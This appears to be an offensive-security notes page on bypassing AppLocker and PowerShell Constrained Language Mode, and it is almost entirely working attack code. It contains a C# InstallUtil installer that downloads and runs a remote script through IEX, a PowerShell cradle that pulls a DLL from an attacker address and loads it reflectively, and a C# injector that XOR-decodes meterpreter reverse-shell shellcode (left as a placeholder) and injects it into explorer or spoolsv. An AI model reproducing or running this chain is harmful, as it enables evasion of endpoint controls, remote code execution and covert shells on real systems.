Powershell CLM Bypass

Using installer method to bypass applocker and constrained language mode

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Diagnostics;

namespace Powershell_CLM_Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("This is the main method which is a decoy");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            String cmd = "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.X.Y/run_dll.txt')";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

Powershell Script to load a dll into memory

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.X.Y/Reflective_Load.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("Reflective_Load.Program")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

Reflective DLL Loaded into memory

using System;

using System.Diagnostics;

using System.Runtime.InteropServices;

using System.Security.Principal;





namespace Reflective_Load

{

    [ComVisible(true)]

    public class Program

    {

        [Flags]

        public enum ProcessAccessFlags : uint

        {

            All = 0x001F0FFF

        }

        [Flags]

        public enum AllocationType

        {

            Commit = 0x1000,

            Reserve = 0x2000

        }



        [Flags]

        public enum MemoryProtection

        {

            ExecuteReadWrite = 0x40

        }



        [DllImport("kernel32.dll", SetLastError = true)]

        public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);



        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]

        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);



        [DllImport("kernel32.dll", SetLastError = true)]

        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);



        [DllImport("kernel32.dll")]

        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);



        [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]

        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);



        [System.Runtime.InteropServices.DllImport("kernel32.dll")]

        static extern IntPtr GetCurrentProcess();



        static bool IsElevated

        {

            get

            {

                return WindowsIdentity.GetCurrent().Owner.IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid);

            }

        }

        public static void runner()

        {

            IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);

            if (mem == null)

            {

                return;

            }



            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.X.Y LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key J

            byte[] buf = new byte[803] {
PAYLOAD};





            int len = buf.Length;

            String procName = "";

            // Parse arguments, if given (process to inject)

            if (IsElevated)

            {

                Console.WriteLine("Process is elevated.");

                 procName = "spoolsv";

            }

            else

            {

                Console.WriteLine("Process is not elevated.");

                 procName = "explorer";

            }

            



            Console.WriteLine($"Attempting to inject into {procName} process...");



            // Get process IDs

            Process[] expProc = Process.GetProcessesByName(procName);



            // If multiple processes exist, try to inject in all of them

            for (int i = 0; i < expProc.Length; i++)

            {

                int pid = expProc[i].Id;



                // Get a handle on the process

                IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, pid);

                if ((int)hProcess == 0)

                {

                    Console.WriteLine($"Failed to get handle on PID {pid}.");

                    continue;

                }

                Console.WriteLine($"Got handle {hProcess} on PID {pid}.");



                // Allocate memory in the remote process

                IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);

                Console.WriteLine($"Allocated {len} bytes at address {expAddr} in remote process.");



                // Decode the payload

                for (int j = 0; j < buf.Length; j++)

                {

                    buf[j] = (byte)((uint)buf[j] ^ 0x4a);

                }



                // Write the payload to the allocated bytes

                IntPtr bytesWritten;

                bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);

                Console.WriteLine($"Wrote {bytesWritten} payload bytes (result: {procMemResult}).");



                IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);

                Console.WriteLine($"Created remote thread at {threadAddr}. Check your listener!");

                break;

            }

        }

    }

}

Last updated

Was this helpful?